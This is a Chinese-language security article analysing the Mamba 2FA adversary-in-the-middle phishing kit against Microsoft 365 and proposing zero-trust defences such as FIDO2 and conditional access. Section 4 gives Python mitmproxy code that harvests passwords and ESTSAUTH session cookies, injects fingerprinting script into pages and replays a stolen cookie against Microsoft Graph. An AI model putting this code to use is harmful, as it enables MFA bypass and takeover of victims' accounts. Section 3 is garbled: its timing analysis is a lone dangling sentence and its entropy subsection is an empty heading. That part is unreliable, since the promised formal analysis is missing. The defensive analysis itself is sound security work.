摘要
随着多因素认证（MFA）在企业身份验证中的普及，传统的凭据窃取攻击逐渐失效，促使网络犯罪团伙转向更为复杂的“中间人”（Adversary-in-the-Middle, AiTM）攻击模式。近期出现的“Mamba 2FA”钓鱼即服务（Phishing-as-a-Service, PaaS）套件，代表了此类攻击工具的高度自动化与隐蔽化趋势。该套件通过实时代理技术，能够在受害者完成MFA验证的瞬间劫持会话Cookie，从而完全绕过双因素认证机制。本文深入剖析了Mamba 2FA的技术架构、流量代理逻辑及反检测策略，揭示了其利用合法云基础设施构建动态攻击链的运作机理。文章从协议层面对OAuth 2.0与SAML流程中的会话劫持风险进行了形式化分析，并复现了核心代理中间件的逻辑实现。针对现有防御体系的不足，本文提出了一种基于零信任架构的深度防御方案，重点探讨了FIDO2无密码认证、基于证书的身份验证以及细粒度条件访问策略在阻断AiTM攻击中的有效性。研究表明，仅依赖传统MFA已无法保障云端身份安全，必须构建涵盖终端信任、行为分析与加密凭证绑定的多层防御体系，以应对日益智能化的会话劫持威胁。
1 引言
在数字化转型的浪潮中，Microsoft 365等云端协作平台已成为企业运营的核心枢纽，其账户安全性直接关系到组织的数据资产安全。为应对日益猖獗的密码喷洒与暴力破解攻击，多因素认证（MFA）被广泛部署为保护账户的最后一道防线。然而，网络安全博弈呈现出显著的“道高一尺，魔高一丈”特征。攻击者并未试图直接攻破MFA算法本身，而是转而攻击MFA实施过程中的逻辑漏洞，即“中间人”（AiTM）攻击。
AiTM攻击的核心在于将攻击者置于用户与合法身份提供商（IdP）之间，建立一个透明的双向代理通道。当用户输入凭据并完成二次验证时，攻击者能够实时截获服务器下发的会话令牌（Session Cookie），进而利用该令牌在另一台设备上重建合法会话。由于会话令牌通常具有较长的有效期且不再需要二次验证，攻击者从而实现了对账户的持久化控制。
Cyfirma研究团队近期披露的“Mamba 2FA”套件，是此类攻击工具化的典型代表。作为钓鱼即服务（PaaS）产品，Mamba 2FA降低了AiTM攻击的技术门槛，使得非技术背景的攻击者也能发起高精度的定向攻击。该套件不仅具备高度自动化的域名生成与证书管理能力，还集成了先进的浏览器指纹识别与环境检测机制，能够有效规避沙箱分析与安全扫描。其背后的技术逻辑反映了当前网络攻击向模块化、服务化及智能化发展的趋势。
现有研究多集中于静态凭据窃取的防御，对于动态会话劫持的深层机理及针对性防御策略探讨尚显不足。许多组织误以为部署了MFA即可高枕无忧，忽视了会话令牌管理的风险。本文旨在填补这一空白，通过深入解构Mamba 2FA的运作机制，从协议交互、代码实现及流量特征三个维度揭示其攻击原理。在此基础上，本文提出了一套系统性的防御架构，论证了从“基于知识的认证”向“基于硬件的信任”转型的必要性，为企业构建抗AiTM攻击的安全体系提供理论依据与技术路径。
2 Mamba 2FA套件架构与攻击链路解析
Mamba 2FA并非单一脚本，而是一个包含前端诱饵、后端代理、控制面板及基础设施管理模块的完整生态系统。其设计目标是在保证高成功率的同时，最大限度地延长存活时间。
2.1 分布式基础设施与动态域名生成
为了逃避基于域名的黑名单封锁，Mamba 2FA利用了云原生架构的弹性。攻击者通常通过 compromised 的云服务账户或自动注册的免费域名服务，批量生成看似合法的子域名（如 login-microsoft-security[.]com 或 office365-verify[.]net）。
套件内置了自动化脚本，能够调用DNS API实时创建和销毁域名。一旦某个域名被标记或封锁，控制系统会自动切换至新的域名，并通过短链接服务或二维码重新分发诱饵。此外，Mamba 2FA广泛利用内容分发网络（CDN）和Serverless函数（如AWS Lambda、Cloudflare Workers）托管恶意页面。这种“无服务器”架构不仅降低了运维成本，还利用大型云厂商的信誉IP地址掩盖了真实的攻击源，使得基于IP信誉的过滤策略失效。
2.2 反向代理核心机制
Mamba 2FA的核心组件是一个高性能的反向代理服务器。与传统钓鱼网站静态伪造登录页面不同，该代理在运行时动态地从真实的Microsoft登录端点（如 login.microsoftonline.com）获取HTML、CSS及JavaScript资源，并在内存中进行即时修改后返回给受害者。
这种“实时镜像”技术确保了钓鱼页面与真实页面在视觉和功能上完全一致，包括所有的安全标识、多语言支持甚至动态加载的验证码。当用户在页面上进行操作时，所有请求均先发送至攻击者的代理服务器，再由代理服务器转发至Microsoft官方服务器。响应数据则沿原路返回。在此过程中，代理服务器对流量进行透明拦截，特别关注HTTP响应头中的 Set-Cookie 字段以及JSON Web Token (JWT)。
2.3 会话令牌劫持流程
攻击链的关键环节在于令牌的提取与重用。当受害者输入密码并提交后，代理将请求转发至Microsoft。Microsoft验证密码通过后，会要求进行MFA验证（如推送通知、短信验证码或Authenticator应用代码）。受害者在钓鱼页面上完成此步骤，代理再次将MFA响应转发至Microsoft。
一旦Microsoft确认所有验证步骤完成，它会生成一个有效的会话Cookie（通常是 ESTSAUTH 或 ESTSAUTHPERSISTENT），并将其包含在HTTP响应中返回。Mamba 2FA的代理模块会立即解析该响应，提取出关键的Cookie值，并将其存储到攻击者的数据库中，同时将该Cookie透传给受害者的浏览器，使其正常登录成功，从而避免引起用户怀疑。
攻击者随后可利用提取到的Cookie，通过自定义脚本或浏览器插件，在任何地理位置、任何设备上构造带有相同Cookie的HTTP请求。由于Microsoft服务端仅验证Cookie的有效性而不重新触发MFA，攻击者从而成功绕过双因素认证，获得账户的完全控制权。
2.4 反检测与环境感知
为了对抗自动化安全扫描，Mamba 2FA集成了精细的指纹识别模块。在建立代理连接前，服务器会检查来访者的User-Agent、HTTP头顺序、TLS指纹（JA3）、屏幕分辨率、时区设置以及鼠标移动轨迹等特征。
如果检测到请求来自已知的安全厂商爬虫、沙箱环境或缺乏正常人类交互特征的自动化脚本，系统将返回404错误页面或直接重定向至合法的Microsoft官网，以此隐藏恶意行为。只有当指纹特征符合真实用户画像时，才会启动代理逻辑。这种基于行为的访问控制显著提高了分析人员逆向工程该套件的难度。
3 AiTM攻击的协议层漏洞与数学建模
从协议层面看，AiTM攻击利用了现代单点登录（SSO）协议（如OAuth 2.0、OIDC、SAML）中“认证状态”与“会话状态”分离的特性。本节通过形式化方法描述这一过程。
3.1 认证与会话的状态分离
在标准的OAuth 2.0授权码模式中，身份验证的目标是证明用户拥有特定的凭据（密码+MFA因子）。一旦身份提供商（IdP）确认了这一点，它会颁发一个访问令牌（Access Token）或刷新令牌（Refresh Token），或者在Web场景中直接设置一个会话Cookie。
3.2 代理转发的时序分析
这种低延迟特性使得基于时间异常的检测变得极为困难。
3.3 令牌熵与预测难度
4 核心代理逻辑实现与代码复现
为了深入理解Mamba 2FA的运作机制，本节基于Python的 mitmproxy 框架复现了其核心代理逻辑。该示例展示了如何拦截HTTPS流量、动态修改响应头并提取会话Cookie。需要注意的是，实际生产环境中，攻击者会使用Go或Rust编写更高性能的并发代理，并配合定制的TLS栈以规避指纹检测。
4.1 环境配置与基础代理搭建
首先，定义一个继承自 http.HTTPFlow 的处理类，用于拦截请求和响应。
from mitmproxy import http, ctx
import re
import asyncio
from urllib.parse import urlparse
# 配置目标域名，模拟针对Microsoft 365的攻击
TARGET_DOMAINS = ["login.microsoftonline.com", "account.live.com"]
SESSION_COOKIES_PATTERN = re.compile(r"(ESTSAUTH|ESTSAUTHPERSISTENT|SecureToken)=([^;]+)")
class AiTMProxy:
def __init__(self):
self.stolen_credentials = []
self.stolen_cookies = []
def request(self, flow: http.HTTPFlow):
"""
拦截并记录用户提交的凭据
"""
if flow.request.host not in TARGET_DOMAINS:
return
# 检测POST请求中的密码字段
if flow.request.method == "POST" and flow.request.content_type == "application/x-www-form-urlencoded":
post_data = flow.request.get_text()
if "passwd" in post_data or "password" in post_data:
# 提取敏感信息 (简化逻辑)
creds = self.parse_credentials(post_data)
ctx.log.info(f"[CAPTURED CREDS] {creds}")
self.stolen_credentials.append(creds)
# 添加自定义Header以标记流量来源 (攻击者用于内部追踪)
flow.request.headers["X-Forwarded-For-Attack"] = "Mamba-Node-01"
def response(self, flow: http.HTTPFlow):
"""
拦截响应，提取Session Cookie
"""
if flow.request.host not in TARGET_DOMAINS:
return
# 检查Set-Cookie头
set_cookie_headers = flow.response.headers.get_all("Set-Cookie")
if set_cookie_headers:
for cookie in set_cookie_headers:
match = SESSION_COOKIES_PATTERN.search(cookie)
if match:
cookie_name = match.group(1)
cookie_value = match.group(2)
token_record = {
"domain": flow.request.host,
"cookie_name": cookie_name,
"cookie_value": cookie_value,
"timestamp": ctx.master.time()
}
ctx.log.error(f"[STOLEN TOKEN] {token_record}")
self.stolen_cookies.append(token_record)
# 在实际攻击中，此处会将token异步发送至C2服务器
# asyncio.create_task(self.send_to_c2(token_record))
def parse_credentials(self, post_data: str) -> dict:
# 简单的表单解析逻辑
params = {}
for pair in post_data.split('&'):
if '=' in pair:
k, v = pair.split('=', 1)
params[k] = v
return {
"username": params.get('login', 'unknown'),
"password": params.get('passwd', 'unknown')
}
# 注册插件
addons = [AiTMProxy()]
4.2 动态内容注入与指纹规避
上述代码仅展示了基础的拦截功能。Mamba 2FA的高级之处在于其动态内容修改能力。例如，为了规避浏览器的同源策略（SOP）检测或增强欺骗性，代理可能会动态注入JavaScript代码，监控用户的鼠标移动以模拟人类行为，或者修改页面标题以匹配用户的预期。
def response(self, flow: http.HTTPFlow):
# ... (前置代码同上)
# 动态注入JS以捕获额外的客户端指纹
if flow.response.content_type == "text/html":
inject_script = """
<script>
(function(){
var fingerprint = {
screen: window.screen.width + 'x' + window.screen.height,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
lang: navigator.language
};
// 将指纹信息通过隐藏Image或Beacon发送给代理
navigator.sendBeacon('/api/fp_collect', JSON.stringify(fingerprint));
})();
</script>
"""
# 在</body>标签前注入脚本
body = flow.response.get_text()
if "</body>" in body:
body = body.replace("</body>", inject_script + "</body>")
flow.response.set_text(body)
4.3 会话重放攻击模拟
一旦获取了Cookie，攻击者可以使用简单的Python脚本进行会话重放，验证令牌的有效性并接管账户。
import requests
def replay_session(target_url, stolen_cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Cookie": f"ESTSAUTH={stolen_cookie}",
"Accept": "application/json, text/plain, */*"
}
try:
# 尝试访问敏感API端点，如Microsoft Graph
response = requests.get(target_url, headers=headers, allow_redirects=False)
if response.status_code == 200:
print("[SUCCESS] Session is valid. Access granted.")
# 进一步操作：读取邮件、修改密码等
return True
elif response.status_code == 302:
print("[FAIL] Redirected to login. Session might be expired or bound.")
return False
else:
print(f"[ERROR] Unexpected status code: {response.status_code}")
return False
except Exception as e:
print(f"[ERROR] Connection failed: {e}")
return False
# 示例调用
# replay_session("https://graph.microsoft.com/v1.0/me", "stolen_token_value_here")
通过上述代码复现，可以清晰地看到AiTM攻击的技术门槛主要在于基础设施的隐蔽性与流量的实时处理能力，而非复杂的密码学破解。这也意味着防御的重点必须从“防止密码泄露”转移到“防止令牌滥用”上来。
5 基于零信任的纵深防御体系构建
面对Mamba 2FA等高级AiTM工具，传统的边界防御和单一MFA机制已显得力不从心。必须构建基于零信任原则（Zero Trust）的纵深防御体系，从身份、设备、网络及行为四个维度实施管控。
5.1 推广FIDO2与基于证书的身份验证
抵御AiTM攻击最根本的方法是消除可重放的共享秘密（Shared Secrets）。传统的OTP（一次性密码）和推送通知本质上仍是可被代理转发的“秘密”。
FIDO2（Fast Identity Online）标准引入了公钥加密技术。在FIDO2认证过程中，私钥存储在用户的硬件安全密钥（如YubiKey）或平台级可信执行环境（TEE）中，且私钥永不离开设备。更重要的是，FIDO2协议在签名时会绑定起源（Origin），即登录页面的域名。
当用户通过Mamba 2FA构建的钓鱼域名（如 fake-login.com）进行认证时，浏览器的WebAuthn API会检测到起源不匹配，拒绝调用私钥进行签名，或者直接生成一个针对钓鱼域名的无效签名。Microsoft服务端验证签名失败，从而阻断攻击。
因此，组织应强制要求高权限账户使用FIDO2硬件密钥或Windows Hello for Business等基于证书的身份验证方式，彻底废除基于SMS、Email或App推送的传统MFA。
5.2 实施细粒度的条件访问策略（Conditional Access）
即使攻击者获取了会话Cookie，通过严格的条件访问策略仍可限制其利用。
首先，实施设备合规性绑定。配置策略仅允许加入Intune管理且符合安全基线（如开启BitLocker、安装杀毒软件）的设备访问敏感资源。由于攻击者通常使用未受管的个人设备或虚拟机，其设备ID不在白名单内，即便持有有效Cookie也会被拒绝访问。
其次，引入位置与网络上下文。限制仅允许受信任的IP范围（如公司办公网、已知安全出口）访问核心应用。对于异常地理位置的登录请求，强制要求重新进行高强度的身份验证。
最后，启用连续访问评估（CAE）。CAE允许服务端实时撤销令牌，而无需等待其自然过期。一旦检测到风险事件（如用户报告被盗、异地登录异常），IdP可立即通知资源服务端使相关令牌失效，切断攻击者的会话。
5.3 增强型监控与行为分析
建立基于用户实体行为分析（UEBA）的监控体系。正常的用户行为具有特定的模式，如访问时间、常用应用、操作频率等。AiTM攻击虽然能绕过认证，但难以完美模拟用户的行为习惯。
系统应实时分析登录后的操作序列。例如，如果一个账号在登录后立即进行大规模邮件导出、规则创建或密码修改，且这些操作与该用户的历史行为偏差较大，系统应自动触发警报并暂时冻结账户。
此外，加强对HTTP请求头的分析。攻击者使用的重放工具往往具有特定的User-Agent特征或缺少正常浏览器发送的某些头部信息（如 Sec-Ch-Ua 系列头）。通过机器学习模型识别这些细微的指纹差异，可以有效发现潜在的令牌滥用行为。
5.4 用户意识与反钓鱼演练
技术防御并非万能，提升用户的安全意识仍是重要一环。定期开展针对AiTM攻击的专项钓鱼演练，教育用户识别URL的细微差别，警惕非预期的MFA推送。特别是教导用户在收到MFA请求时，务必核对登录地点和设备信息，若发现异常立即拒绝并上报。同时，建立快速响应机制，确保用户在怀疑受损时能迅速获得支持，缩短攻击者的驻留时间。
6 结论
Mamba 2FA钓鱼套件的出现，标志着网络攻击已进入高度自动化与服务化的新阶段。其利用反向代理技术实时劫持会话Cookie的AiTM攻击模式，精准地击穿了传统多因素认证的安全假设，对企业云端身份安全构成了严峻挑战。本文通过深入剖析Mamba 2FA的架构设计与运作机理，揭示了其在基础设施弹性、流量代理效率及反检测能力上的技术特征，并通过代码复现验证了攻击的可行性。
研究显示，单纯依赖密码与传统MFA的组合已无法有效抵御此类高级威胁。防御策略必须进行范式转移，从“验证用户知道什么”转向“验证用户拥有什么”以及“验证设备是否可信”。全面部署FIDO2无密码认证、实施基于设备合规性与行为上下文的细粒度条件访问策略、以及构建实时的令牌生命周期管理体系，是阻断AiTM攻击的关键路径。
未来，随着人工智能技术在攻防双方的广泛应用，攻击工具将更加智能化，能够自动生成更具欺骗性的诱饵并动态调整攻击策略。相应地，防御体系也需引入AI驱动的行为分析与自动化响应机制，实现从被动防御向主动免疫的演进。唯有构建多层次、动态适应的零信任安全架构，方能在日益复杂的网络威胁环境中保障数字资产的安全。
编辑：芦笛（公共互联网反网络钓鱼工作组）
